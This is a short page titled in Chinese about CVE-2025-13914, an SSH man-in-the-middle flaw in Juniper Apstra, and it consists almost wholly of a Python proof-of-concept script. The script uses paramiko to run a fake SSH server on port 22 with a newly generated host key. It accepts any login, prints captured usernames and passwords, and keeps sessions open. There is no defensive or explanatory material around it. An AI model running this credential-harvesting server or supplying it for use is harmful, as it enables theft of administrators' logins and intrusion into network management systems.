CVE-2025-13914 Juniper Apstra SSH中间人攻击漏洞

import paramiko import socket import threading # Generated PoC for CVE-2025-13914 # This script simulates a malicious SSH server to intercept credentials # due to lack of host key validation on the client (Apstra). class SSHMitMServer(paramiko.ServerInterface): def check_auth_password(self, username, password): # Log the captured credentials print(f"[+] Captured Credentials -> Username: {username}, Password: {password}") # Return success to keep the connection open for further interaction return paramiko.AUTH_SUCCESSFUL def get_allowed_auths(self, username): return 'password' def check_channel_request(self, kind, chanid): if kind == 'session': return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED def start_mitm_server(host_key): server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_sock.bind(('0.0.0.0', 22)) server_sock.listen(100) print("[*] Malicious SSH Server listening on port 22...") try: while True: client_sock, addr = server_sock.accept() print(f"[+] Connection intercepted from: {addr[0]}") transport = paramiko.Transport(client_sock) transport.add_server_key(host_key) try: server = SSHMitMServer() transport.start_server(server=server) except Exception as e: print(f"[-] Error starting server: {e}") transport.close() except KeyboardInterrupt: server_sock.close() if __name__ == "__main__": # Generate a new RSA key for the attacker print("[*] Generating malicious host key...") key = paramiko.RSAKey.generate(2048) start_mitm_server(key)